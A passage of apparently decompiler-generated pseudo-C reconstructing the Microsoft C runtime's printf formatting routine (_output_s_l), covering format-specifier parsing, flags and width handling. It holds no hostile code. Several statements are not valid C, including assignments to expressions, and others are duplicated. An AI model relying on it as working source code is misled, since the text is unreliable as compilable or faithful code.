															__edx =  *(__ebp - 0x32e) & 0x0000ffff;
															__eax = __ebp - 0x2d8;
															__ecx = __ebp - 0x2d0;
															 *(__ebp - 0x2dc) = E00434220(__ebp - 0x2d0, __ebp - 0x2d8, 6,  *(__ebp - 0x32e) & 0x0000ffff);
															 *(__ebp - 0x2c8) =  *(__ebp - 0x2c8) + 2;
															 *(__ebp - 0x2c8) =  *(__ebp - 0x2c8) + 2;
															__eflags =  *(__ebp - 0x2dc);
															if( *(__ebp - 0x2dc) != 0) {
																L209:
																 *(__ebp - 0x24c) = 0xffffffff;
																break;
															}
															L208:
															__eflags =  *(__ebp - 0x2d0);
															if( *(__ebp - 0x2d0) != 0) {
																L210:
																__eax = __ebp - 0x24c;
																__ecx =  *(__ebp + 8);
																__edx =  *(__ebp - 0x2d0);
																__ebp - 0x2d8 = E004282D0( *(__ebp + 8), __ebp - 0x2d8,  *(__ebp - 0x2d0),  *(__ebp + 8), __ebp - 0x24c);
																continue;
															}
															goto L209;
														}
														L211:
														L213:
														__eflags =  *(__ebp - 0x24c);
														if( *(__ebp - 0x24c) >= 0) {
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000004;
															__eflags =  *(__ebp - 0x10) & 0x00000004;
															if(( *(__ebp - 0x10) & 0x00000004) != 0) {
																__eax = __ebp - 0x24c;
																__ecx =  *(__ebp + 8);
																__edx =  *(__ebp - 0x2c4);
																__eax = E00428290(0x20,  *(__ebp - 0x2c4),  *(__ebp + 8), __ebp - 0x24c);
															}
														}
													}
													L216:
													__eflags =  *(__ebp - 0x20);
													if( *(__ebp - 0x20) != 0) {
														 *(__ebp - 0x20) = L0041C3D0( *(__ebp - 0x20), 2);
														 *(__ebp - 0x20) = 0;
													}
													while(1) {
														L218:
														 *(_t557 - 0x251) =  *( *(_t557 + 0xc));
														_t547 =  *(_t557 - 0x251);
														 *(_t557 + 0xc) =  *(_t557 + 0xc) + 1;
														if( *(_t557 - 0x251) == 0 ||  *(_t557 - 0x24c) < 0) {
															break;
														} else {
															if( *(_t557 - 0x251) < 0x20 ||  *(_t557 - 0x251) > 0x78) {
																 *(_t557 - 0x310) = 0;
															} else {
																 *(_t557 - 0x310) =  *( *(_t557 - 0x251) +  &M00407DE8) & 0xf;
															}
														}
														L7:
														 *(_t557 - 0x250) =  *(_t557 - 0x310);
														_t506 =  *(_t557 - 0x250) * 9;
														_t536 =  *(_t557 - 0x25c);
														_t547 = ( *(_t506 + _t536 + 0x407e08) & 0x000000ff) >> 4;
														 *(_t557 - 0x25c) = ( *(_t506 + _t536 + 0x407e08) & 0x000000ff) >> 4;
														if( *(_t557 - 0x25c) != 8) {
															L16:
															 *(_t557 - 0x318) =  *(_t557 - 0x25c);
															__eflags =  *(_t557 - 0x318) - 7;
															if( *(_t557 - 0x318) > 7) {
																continue;
															}
															L17:
															switch( *((intOrPtr*)( *(_t557 - 0x318) * 4 +  &M00435560))) {
																case 0:
																	L18:
																	 *(_t557 - 0xc) = 0;
																	_t509 = E00431210( *(_t557 - 0x251) & 0x000000ff, E0041ACE0(_t557 - 0x40));
																	_t562 = _t559 + 8;
																	__eflags = _t509;
																	if(_t509 == 0) {
																		L24:
																		E004281F0( *(_t557 - 0x251) & 0x000000ff,  *(_t557 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t557 + 8)), _t557 - 0x24c);
																		_t559 = _t562 + 0xc;
																		goto L218;
																	} else {
																		E004281F0( *((intOrPtr*)(_t557 + 8)),  *(_t557 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t557 + 8)), _t557 - 0x24c);
																		_t562 = _t562 + 0xc;
																		_t541 =  *( *(_t557 + 0xc));
																		 *(_t557 - 0x251) =  *( *(_t557 + 0xc));
																		_t547 =  *(_t557 + 0xc) + 1;
																		__eflags = _t547;
																		 *(_t557 + 0xc) = _t547;
																		asm("sbb eax, eax");
																		 *(_t557 - 0x27c) =  ~( ~( *(_t557 - 0x251)));
																		if(_t547 == 0) {
																			_push(L"(ch != _T(\'\\0\'))");
																			_push(0);
																			_push(0x486);
																			_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																			_push(2);
																			_t521 = L0041E210();
																			_t562 = _t562 + 0x14;
																			__eflags = _t521 - 1;
																			if(_t521 == 1) {
																				asm("int3");
																			}
																		}
																		L22:
																		__eflags =  *(_t557 - 0x27c);
																		if( *(_t557 - 0x27c) != 0) {
																			goto L24;
																		} else {
																			 *((intOrPtr*)(L00422D00(_t541))) = 0x16;
																			E00422A90(_t528, _t541, _t555, _t556, L"(ch != _T(\'\\0\'))", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x486, 0);
																			 *(_t557 - 0x2f4) = 0xffffffff;
																			E0041ACB0(_t557 - 0x40);
																			_t499 =  *(_t557 - 0x2f4);
																			goto L229;
																		}
																	}
																case 1:
																	L25:
																	 *(__ebp - 0x2c) = 0;
																	__edx =  *(__ebp - 0x2c);
																	 *(__ebp - 0x28) =  *(__ebp - 0x2c);
																	__eax =  *(__ebp - 0x28);
																	 *(__ebp - 0x18) =  *(__ebp - 0x28);
																	__ecx =  *(__ebp - 0x18);
																	 *(__ebp - 0x1c) = __ecx;
																	 *(__ebp - 0x10) = 0;
																	 *(__ebp - 0x30) = 0xffffffff;
																	 *(__ebp - 0xc) = 0;
																	goto L218;
																case 2:
																	L26:
																	__edx =  *((char*)(__ebp - 0x251));
																	 *(__ebp - 0x31c) =  *((char*)(__ebp - 0x251));
																	 *(__ebp - 0x31c) =  *(__ebp - 0x31c) - 0x20;
																	 *(__ebp - 0x31c) =  *(__ebp - 0x31c) - 0x20;
																	__eflags =  *(__ebp - 0x31c) - 0x10;
																	if( *(__ebp - 0x31c) > 0x10) {
																		goto L33;
																	}
																	L27:
																	__ecx =  *(__ebp - 0x31c);
																	_t72 = __ecx + 0x435598; // 0x498d04
																	__edx =  *_t72 & 0x000000ff;
																	switch( *((intOrPtr*)(( *_t72 & 0x000000ff) * 4 +  &M00435580))) {
																		case 0:
																			goto L30;
																		case 1:
																			goto L31;
																		case 2:
																			goto L29;
																		case 3:
																			goto L28;
																		case 4:
																			goto L32;
																		case 5:
																			goto L33;
																	}
																case 3:
																	L34:
																	__edx =  *((char*)(__ebp - 0x251));
																	__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
																	if( *((char*)(__ebp - 0x251)) != 0x2a) {
																		__eax =  *(__ebp - 0x18);
																		__eax =  *(__ebp - 0x18) * 0xa;
																		__eflags = __eax;
																		__ecx =  *((char*)(__ebp - 0x251));
																		_t96 = __ecx - 0x30; // -48
																		__edx = __eax + _t96;
																		 *(__ebp - 0x18) = __eax + _t96;
																	} else {
																		__eax = __ebp + 0x14;
																		 *(__ebp - 0x18) = E00428360(__ebp + 0x14);
																		__eflags =  *(__ebp - 0x18);
																		if( *(__ebp - 0x18) < 0) {
																			__ecx =  *(__ebp - 0x10);
																			__ecx =  *(__ebp - 0x10) | 0x00000004;
																			__eflags = __ecx;
																			 *(__ebp - 0x10) = __ecx;
																			 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																			 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																		}
																	}
																	goto L218;
																case 4:
																	L40:
																	 *(__ebp - 0x30) = 0;
																	goto L218;
																case 5:
																	L41:
																	__eax =  *((char*)(__ebp - 0x251));
																	__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
																	if( *((char*)(__ebp - 0x251)) != 0x2a) {
																		__edx =  *(__ebp - 0x30);
																		__edx =  *(__ebp - 0x30) * 0xa;
																		__eflags = __edx;
																		_t107 =  *((char*)(__ebp - 0x251)) - 0x30; // -48
																		__ecx = __edx + _t107;
																		 *(__ebp - 0x30) = __ecx;
																	} else {
																		__ecx = __ebp + 0x14;
																		 *(__ebp - 0x30) = E00428360(__ebp + 0x14);
																		__eflags =  *(__ebp - 0x30);
																		if( *(__ebp - 0x30) < 0) {
																			 *(__ebp - 0x30) = 0xffffffff;
																		}
																	}
																	goto L218;
																case 6:
																	L47:
																	__edx =  *((char*)(__ebp - 0x251));
																	 *(__ebp - 0x320) =  *((char*)(__ebp - 0x251));
																	 *(__ebp - 0x320) =  *(__ebp - 0x320) - 0x49;
																	 *(__ebp - 0x320) =  *(__ebp - 0x320) - 0x49;
																	__eflags =  *(__ebp - 0x320) - 0x2e;
																	if( *(__ebp - 0x320) > 0x2e) {
																		L70:
																		goto L218;
																	}
																	L48:
																	__ecx =  *(__ebp - 0x320);
																	_t115 = __ecx + 0x4355c0; // 0x4dce9003
																	__edx =  *_t115 & 0x000000ff;
																	switch( *((intOrPtr*)(( *_t115 & 0x000000ff) * 4 +  &M004355AC))) {
																		case 0:
																			L53:
																			__edx =  *(__ebp + 0xc);
																			__eax =  *( *(__ebp + 0xc));
																			__eflags =  *( *(__ebp + 0xc)) - 0x36;
																			if( *( *(__ebp + 0xc)) != 0x36) {
																				L56:
																				__edx =  *(__ebp + 0xc);
																				__eax =  *( *(__ebp + 0xc));
																				__eflags =  *( *(__ebp + 0xc)) - 0x33;
																				if( *( *(__ebp + 0xc)) != 0x33) {
																					L59:
																					__edx =  *(__ebp + 0xc);
																					__eax =  *( *(__ebp + 0xc));
																					__eflags =  *( *(__ebp + 0xc)) - 0x64;
																					if( *( *(__ebp + 0xc)) == 0x64) {
																						L65:
																						L67:
																						goto L70;
																					}
																					L60:
																					__ecx =  *(__ebp + 0xc);
																					__edx =  *__ecx;
																					__eflags =  *__ecx - 0x69;
																					if( *__ecx == 0x69) {
																						goto L65;
																					}
																					L61:
																					__eax =  *(__ebp + 0xc);
																					__ecx =  *( *(__ebp + 0xc));
																					__eflags = __ecx - 0x6f;
																					if(__ecx == 0x6f) {
																						goto L65;
																					}
																					L62:
																					__edx =  *(__ebp + 0xc);
																					__eax =  *( *(__ebp + 0xc));
																					__eflags =  *( *(__ebp + 0xc)) - 0x75;
																					if( *( *(__ebp + 0xc)) == 0x75) {
																						goto L65;
																					}
																					L63:
																					__ecx =  *(__ebp + 0xc);
																					__edx =  *__ecx;
																					__eflags =  *__ecx - 0x78;
																					if( *__ecx == 0x78) {
																						goto L65;
																					}
																					L64:
																					__eax =  *(__ebp + 0xc);
																					__ecx =  *( *(__ebp + 0xc));
																					__eflags = __ecx - 0x58;
																					if(__ecx != 0x58) {
																						 *(__ebp - 0x25c) = 0;
																						goto L18;
																					}
																					goto L65;
																				}
																				L57:
																				__ecx =  *(__ebp + 0xc);
																				__edx =  *((char*)(__ecx + 1));
																				__eflags =  *((char*)(__ecx + 1)) - 0x32;
																				if( *((char*)(__ecx + 1)) != 0x32) {
																					goto L59;
																				} else {
																					 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																					 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																					__ecx =  *(__ebp - 0x10);
																					__ecx =  *(__ebp - 0x10) & 0xffff7fff;
																					 *(__ebp - 0x10) = __ecx;
																					goto L67;
																				}
																			}
																			L54:
																			__ecx =  *(__ebp + 0xc);
																			__edx =  *((char*)(__ecx + 1));
																			__eflags =  *((char*)(__ecx + 1)) - 0x34;
																			if( *((char*)(__ecx + 1)) != 0x34) {
																				goto L56;
																			} else {
																				 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																				 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																				__ecx =  *(__ebp - 0x10);
																				__ecx =  *(__ebp - 0x10) | 0x00008000;
																				 *(__ebp - 0x10) = __ecx;
																				goto L67;
																			}
																		case 1:
																			L68:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																			goto L70;
																		case 2:
																			L49:
																			__eax =  *(__ebp + 0xc);
																			__ecx =  *( *(__ebp + 0xc));
																			__eflags = __ecx - 0x6c;
																			if(__ecx != 0x6c) {
																				__ecx =  *(__ebp - 0x10);
																				__ecx =  *(__ebp - 0x10) | 0x00000010;
																				__eflags = __ecx;
																				 *(__ebp - 0x10) = __ecx;
																			} else {
																				 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																				 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																			}
																			goto L70;
																		case 3:
																			L69:
																			__eax =  *(__ebp - 0x10);
																			__eax =  *(__ebp - 0x10) | 0x00000800;
																			__eflags = __eax;
																			 *(__ebp - 0x10) = __eax;
																			goto L70;
																		case 4:
																			goto L70;
																	}
																case 7:
																	L71:
																	__ecx =  *((char*)(__ebp - 0x251));
																	 *(__ebp - 0x324) = __ecx;
																	 *(__ebp - 0x324) =  *(__ebp - 0x324) - 0x41;
																	 *(__ebp - 0x324) =  *(__ebp - 0x324) - 0x41;
																	__eflags =  *(__ebp - 0x324) - 0x37;
																	if( *(__ebp - 0x324) > 0x37) {
																		while(1) {
																			L190:
																			__eflags =  *(__ebp - 0x28);
																			if( *(__ebp - 0x28) != 0) {
																				goto L216;
																			}
																			goto L191;
																		}
																	}
																	L72:
																	_t156 =  *(__ebp - 0x324) + 0x43562c; // 0xcccccc0d
																	__ecx =  *_t156 & 0x000000ff;
																	switch( *((intOrPtr*)(__ecx * 4 +  &M004355F0))) {
																		case 0:
																			L123:
																			 *(__ebp - 0x2c) = 1;
																			__ecx =  *((char*)(__ebp - 0x251));
																			__ecx =  *((char*)(__ebp - 0x251)) + 0x20;
																			__eflags = __ecx;
																			 *((char*)(__ebp - 0x251)) = __cl;
																			goto L124;
																		case 1:
																			L73:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																			__eflags =  *(__ebp - 0x10) & 0x00000830;
																			if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																				__eax =  *(__ebp - 0x10);
																				__eax =  *(__ebp - 0x10) | 0x00000800;
																				__eflags = __eax;
																				 *(__ebp - 0x10) = __eax;
																			}
																			goto L75;
																		case 2:
																			L88:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																			__eflags =  *(__ebp - 0x10) & 0x00000830;
																			if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																				__ecx =  *(__ebp - 0x10);
																				__ecx =  *(__ebp - 0x10) | 0x00000800;
																				__eflags = __ecx;
																				 *(__ebp - 0x10) = __ecx;
																			}
																			goto L90;
																		case 3:
																			L146:
																			 *(__ebp - 0x260) = 7;
																			goto L148;
																		case 4:
																			L81:
																			__eax = __ebp + 0x14;
																			 *(__ebp - 0x288) = E00428360(__ebp + 0x14);
																			__eflags =  *(__ebp - 0x288);
																			if( *(__ebp - 0x288) == 0) {
																				L83:
																				__edx =  *0x440f80; // 0x404448
																				 *(__ebp - 4) = __edx;
																				__eax =  *(__ebp - 4);
																				 *(__ebp - 0x24) = E0041DCB0( *(__ebp - 4));
																				L87:
																				goto L190;
																			}
																			L82:
																			__ecx =  *(__ebp - 0x288);
																			__eflags =  *(__ecx + 4);
																			if( *(__ecx + 4) != 0) {
																				L84:
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
																				__eflags =  *(__ebp - 0x10) & 0x00000800;
																				if(( *(__ebp - 0x10) & 0x00000800) == 0) {
																					 *(__ebp - 0xc) = 0;
																					__edx =  *(__ebp - 0x288);
																					__eax =  *(__edx + 4);
																					 *(__ebp - 4) =  *(__edx + 4);
																					__ecx =  *(__ebp - 0x288);
																					__edx =  *__ecx;
																					 *(__ebp - 0x24) =  *__ecx;
																				} else {
																					__edx =  *(__ebp - 0x288);
																					__eax =  *(__edx + 4);
																					 *(__ebp - 4) =  *(__edx + 4);
																					__ecx =  *(__ebp - 0x288);
																					__eax =  *__ecx;
																					asm("cdq");
																					 *__ecx - __edx =  *__ecx - __edx >> 1;
																					 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
																					 *(__ebp - 0xc) = 1;
																				}
																				goto L87;
																			}
																			goto L83;
																		case 5:
																			L124:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			__eax = __ebp - 0x248;
																			 *(__ebp - 4) = __ebp - 0x248;
																			 *(__ebp - 0x44) = 0x200;
																			__eflags =  *(__ebp - 0x30);
																			if( *(__ebp - 0x30) >= 0) {
																				L126:
																				__eflags =  *(__ebp - 0x30);
																				if( *(__ebp - 0x30) != 0) {
																					L129:
																					__eflags =  *(__ebp - 0x30) - 0x200;
																					if( *(__ebp - 0x30) > 0x200) {
																						 *(__ebp - 0x30) = 0x200;
																					}
																					L131:
																					__eflags =  *(__ebp - 0x30) - 0xa3;
																					if( *(__ebp - 0x30) > 0xa3) {
																						 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																						 *(__ebp - 0x20) = L0041B750(__ecx,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																						__eflags =  *(__ebp - 0x20);
																						if( *(__ebp - 0x20) == 0) {
																							 *(__ebp - 0x30) = 0xa3;
																						} else {
																							__eax =  *(__ebp - 0x20);
																							 *(__ebp - 4) =  *(__ebp - 0x20);
																							 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																							 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																						}
																					}
																					 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																					 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																					__eax =  *(__ebp + 0x14);
																					__ecx =  *(__eax - 8);
																					__edx =  *(__eax - 4);
																					 *(__ebp - 0x2a8) =  *(__eax - 8);
																					 *(__ebp - 0x2a4) =  *(__eax - 4);
																					__ecx = __ebp - 0x40;
																					_push(E0041ACE0(__ebp - 0x40));
																					__eax =  *(__ebp - 0x2c);
																					_push( *(__ebp - 0x2c));
																					__ecx =  *(__ebp - 0x30);
																					_push( *(__ebp - 0x30));
																					__edx =  *((char*)(__ebp - 0x251));
																					_push( *((char*)(__ebp - 0x251)));
																					__eax =  *(__ebp - 0x44);
																					_push( *(__ebp - 0x44));
																					__ecx =  *(__ebp - 4);
																					_push( *(__ebp - 4));
																					__edx = __ebp - 0x2a8;
																					_push(__ebp - 0x2a8);
																					__eax =  *0x440374; // 0xf2632e26
																					__eax =  *__eax();
																					__esp = __esp + 0x1c;
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																					__eflags =  *(__ebp - 0x10) & 0x00000080;
																					if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																						__eflags =  *(__ebp - 0x30);
																						if( *(__ebp - 0x30) == 0) {
																							__ecx = __ebp - 0x40;
																							_push(E0041ACE0(__ebp - 0x40));
																							__edx =  *(__ebp - 4);
																							_push( *(__ebp - 4));
																							__eax =  *0x440380; // 0xf2d1ae26
																							__eax =  *__eax();
																							__esp = __esp + 8;
																						}
																					}
																					__ecx =  *((char*)(__ebp - 0x251));
																					__eflags =  *((char*)(__ebp - 0x251)) - 0x67;
																					if( *((char*)(__ebp - 0x251)) == 0x67) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																						__eflags =  *(__ebp - 0x10) & 0x00000080;
																						if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																							__ecx = __ebp - 0x40;
																							_push(E0041ACE0(__ebp - 0x40));
																							__eax =  *(__ebp - 4);
																							_push( *(__ebp - 4));
																							__ecx =  *0x44037c; // 0xf2c8ae26
																							E00424550(__ecx) =  *__eax();
																							__esp = __esp + 8;
																						}
																					}
																					__edx =  *(__ebp - 4);
																					__eax =  *( *(__ebp - 4));
																					__eflags =  *( *(__ebp - 4)) - 0x2d;
																					if( *( *(__ebp - 4)) == 0x2d) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																						__edx =  *(__ebp - 4);
																						__edx =  *(__ebp - 4) + 1;
																						__eflags = __edx;
																						 *(__ebp - 4) = __edx;
																					}
																					__eax =  *(__ebp - 4);
																					 *(__ebp - 0x24) = E0041DCB0( *(__ebp - 4));
																					do {
																						L190:
																						__eflags =  *(__ebp - 0x28);
																						if( *(__ebp - 0x28) != 0) {
																							goto L216;
																						}
																						goto L191;
																					} while ( *(__ebp - 0x324) > 0x37);
																					goto L72;
																				}
																				L127:
																				__ecx =  *((char*)(__ebp - 0x251));
																				__eflags = __ecx - 0x67;
																				if(__ecx != 0x67) {
																					goto L129;
																				}
																				L128:
																				 *(__ebp - 0x30) = 1;
																				goto L131;
																			}
																			L125:
																			 *(__ebp - 0x30) = 6;
																			goto L131;
																		case 6:
																			L75:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
																			__eflags =  *(__ebp - 0x10) & 0x00000810;
																			if(( *(__ebp - 0x10) & 0x00000810) == 0) {
																				__ebp + 0x14 = E00428360(__ebp + 0x14);
																				 *(__ebp - 0x284) = __ax;
																				__cl =  *(__ebp - 0x284);
																				 *(__ebp - 0x248) = __cl;
																				 *(__ebp - 0x24) = 1;
																			} else {
																				 *(__ebp - 0x280) = 0;
																				__edx = __ebp + 0x14;
																				__eax = E004283A0(__ebp + 0x14);
																				 *(__ebp - 0x258) = __ax;
																				__eax =  *(__ebp - 0x258) & 0x0000ffff;
																				__ecx = __ebp - 0x248;
																				__edx = __ebp - 0x24;
																				 *(__ebp - 0x280) = E00434220(__ebp - 0x24, __ebp - 0x248, 0x200,  *(__ebp - 0x258) & 0x0000ffff);
																				__eflags =  *(__ebp - 0x280);
																				if( *(__ebp - 0x280) != 0) {
																					 *(__ebp - 0x28) = 1;
																				}
																			}
																			__edx = __ebp - 0x248;
																			 *(__ebp - 4) = __ebp - 0x248;
																			while(1) {
																				L190:
																				__eflags =  *(__ebp - 0x28);
																				if( *(__ebp - 0x28) != 0) {
																					goto L216;
																				}
																				goto L191;
																			}
																		case 7:
																			L144:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			 *(__ebp - 8) = 0xa;
																			goto L153;
																		case 8:
																			L109:
																			__ecx = __ebp + 0x14;
																			 *(__ebp - 0x298) = E00428360(__ebp + 0x14);
																			__eax = E00433F00();
																			__eflags = __eax;
																			if(__eax != 0) {
																				L119:
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																				__eflags =  *(__ebp - 0x10) & 0x00000020;
																				if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																					__edx =  *(__ebp - 0x298);
																					__eax =  *(__ebp - 0x24c);
																					 *( *(__ebp - 0x298)) =  *(__ebp - 0x24c);
																				} else {
																					__eax =  *(__ebp - 0x298);
																					 *( *(__ebp - 0x298)) =  *(__ebp - 0x24c);
																				}
																				 *(__ebp - 0x28) = 1;
																				while(1) {
																					L190:
																					__eflags =  *(__ebp - 0x28);
																					if( *(__ebp - 0x28) != 0) {
																						goto L216;
																					}
																					goto L191;
																				}
																			}
																			L110:
																			__edx = 0;
																			__eflags = 0;
																			if(0 == 0) {
																				 *(__ebp - 0x32c) = 0;
																			} else {
																				 *(__ebp - 0x32c) = 1;
																			}
																			__eax =  *(__ebp - 0x32c);
																			 *(__ebp - 0x29c) =  *(__ebp - 0x32c);
																			__eflags =  *(__ebp - 0x29c);
																			if( *(__ebp - 0x29c) == 0) {
																				_push(L"(\"\'n\' format specifier disabled\", 0)");
																				_push(0);
																				_push(0x695);
																				_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																				_push(2);
																				__eax = L0041E210();
																				__esp = __esp + 0x14;
																				__eflags = __eax - 1;
																				if(__eax == 1) {
																					asm("int3");
																				}
																			}
																			__eflags =  *(__ebp - 0x29c);
																			if( *(__ebp - 0x29c) != 0) {
																				L118:
																				while(1) {
																					L190:
																					__eflags =  *(__ebp - 0x28);
																					if( *(__ebp - 0x28) != 0) {
																						goto L216;
																					}
																					goto L191;
																				}
																			} else {
																				L117:
																				 *((intOrPtr*)(L00422D00(__ecx))) = 0x16;
																				__eax = E00422A90(__ebx, __ecx, __edi, __esi, L"(\"\'n\' format specifier disabled\", 0)", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x695, 0);
																				 *(__ebp - 0x2f8) = 0xffffffff;
																				__ecx = __ebp - 0x40;
																				__eax = E0041ACB0(__ecx);
																				__eax =  *(__ebp - 0x2f8);
																				goto L229;
																			}
																		case 9:
																			L151:
																			 *(__ebp - 8) = 8;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																			__eflags =  *(__ebp - 0x10) & 0x00000080;
																			if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																				__edx =  *(__ebp - 0x10);
																				__edx =  *(__ebp - 0x10) | 0x00000200;
																				__eflags = __edx;
																				 *(__ebp - 0x10) = __edx;
																			}
																			L153:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
																			__eflags =  *(__ebp - 0x10) & 0x00008000;
																			if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																				__eflags =  *(__ebp - 0x10) & 0x00001000;
																				if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																					__eflags =  *(__ebp - 0x10) & 0x00000020;
																					if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																						__eflags =  *(__ebp - 0x10) & 0x00000040;
																						if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																							__ecx = __ebp + 0x14;
																							__eax = E00428360(__ebp + 0x14);
																							__edx = 0;
																							__eflags = 0;
																							 *(__ebp - 0x2b8) = __eax;
																							 *(__ebp - 0x2b4) = 0;
																						} else {
																							__eax = __ebp + 0x14;
																							__eax = E00428360(__ebp + 0x14);
																							asm("cdq");
																							 *(__ebp - 0x2b8) = __eax;
																							 *(__ebp - 0x2b4) = __edx;
																						}
																					} else {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																						__eflags =  *(__ebp - 0x10) & 0x00000040;
																						if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																							__ecx = __ebp + 0x14;
																							E00428360(__ebp + 0x14) = __ax & 0x0000ffff;
																							asm("cdq");
																							 *(__ebp - 0x2b8) = __ax & 0x0000ffff;
																							 *(__ebp - 0x2b4) = __edx;
																						} else {
																							__eax = __ebp + 0x14;
																							__eax = E00428360(__ebp + 0x14);
																							__ax = __eax;
																							asm("cdq");
																							 *(__ebp - 0x2b8) = __eax;
																							 *(__ebp - 0x2b4) = __edx;
																						}
																					}
																				} else {
																					__eax = __ebp + 0x14;
																					 *(__ebp - 0x2b8) = E00428380(__ebp + 0x14);
																					 *(__ebp - 0x2b4) = __edx;
																				}
																			} else {
																				__ecx = __ebp + 0x14;
																				 *(__ebp - 0x2b8) = E00428380(__ebp + 0x14);
																				 *(__ebp - 0x2b4) = __edx;
																			}
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																			__eflags =  *(__ebp - 0x10) & 0x00000040;
																			if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																				goto L170;
																			}
																		case 0xa:
																			goto L0;
																		case 0xb:
																			L90:
																			__eflags =  *(__ebp - 0x30) - 0xffffffff;
																			if( *(__ebp - 0x30) != 0xffffffff) {
																				__edx =  *(__ebp - 0x30);
																				 *(__ebp - 0x328) =  *(__ebp - 0x30);
																			} else {
																				 *(__ebp - 0x328) = 0x7fffffff;
																			}
																			__eax =  *(__ebp - 0x328);
																			 *(__ebp - 0x290) =  *(__ebp - 0x328);
																			__ecx = __ebp + 0x14;
																			 *(__ebp - 4) = E00428360(__ebp + 0x14);
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
																			__eflags =  *(__ebp - 0x10) & 0x00000810;
																			if(( *(__ebp - 0x10) & 0x00000810) == 0) {
																				L101:
																				__eflags =  *(__ebp - 4);
																				if( *(__ebp - 4) == 0) {
																					__edx =  *0x440f80; // 0x404448
																					 *(__ebp - 4) = __edx;
																				}
																				__eax =  *(__ebp - 4);
																				 *(__ebp - 0x28c) =  *(__ebp - 4);
																				while(1) {
																					L104:
																					__ecx =  *(__ebp - 0x290);
																					 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																					 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																					__eflags = __ecx;
																					if(__ecx == 0) {
																						break;
																					}
																					L105:
																					__eax =  *(__ebp - 0x28c);
																					__ecx =  *( *(__ebp - 0x28c));
																					__eflags = __ecx;
																					if(__ecx == 0) {
																						break;
																					}
																					L106:
																					 *(__ebp - 0x28c) =  *(__ebp - 0x28c) + 1;
																					 *(__ebp - 0x28c) =  *(__ebp - 0x28c) + 1;
																				}
																				L107:
																				__eax =  *(__ebp - 0x28c);
																				__eax =  *(__ebp - 0x28c) -  *(__ebp - 4);
																				__eflags = __eax;
																				 *(__ebp - 0x24) = __eax;
																				goto L108;
																			} else {
																				L94:
																				__eflags =  *(__ebp - 4);
																				if( *(__ebp - 4) == 0) {
																					__eax =  *0x440f84; // 0x404438
																					 *(__ebp - 4) = __eax;
																				}
																				 *(__ebp - 0xc) = 1;
																				__ecx =  *(__ebp - 4);
																				 *(__ebp - 0x294) =  *(__ebp - 4);
																				while(1) {
																					L97:
																					__edx =  *(__ebp - 0x290);
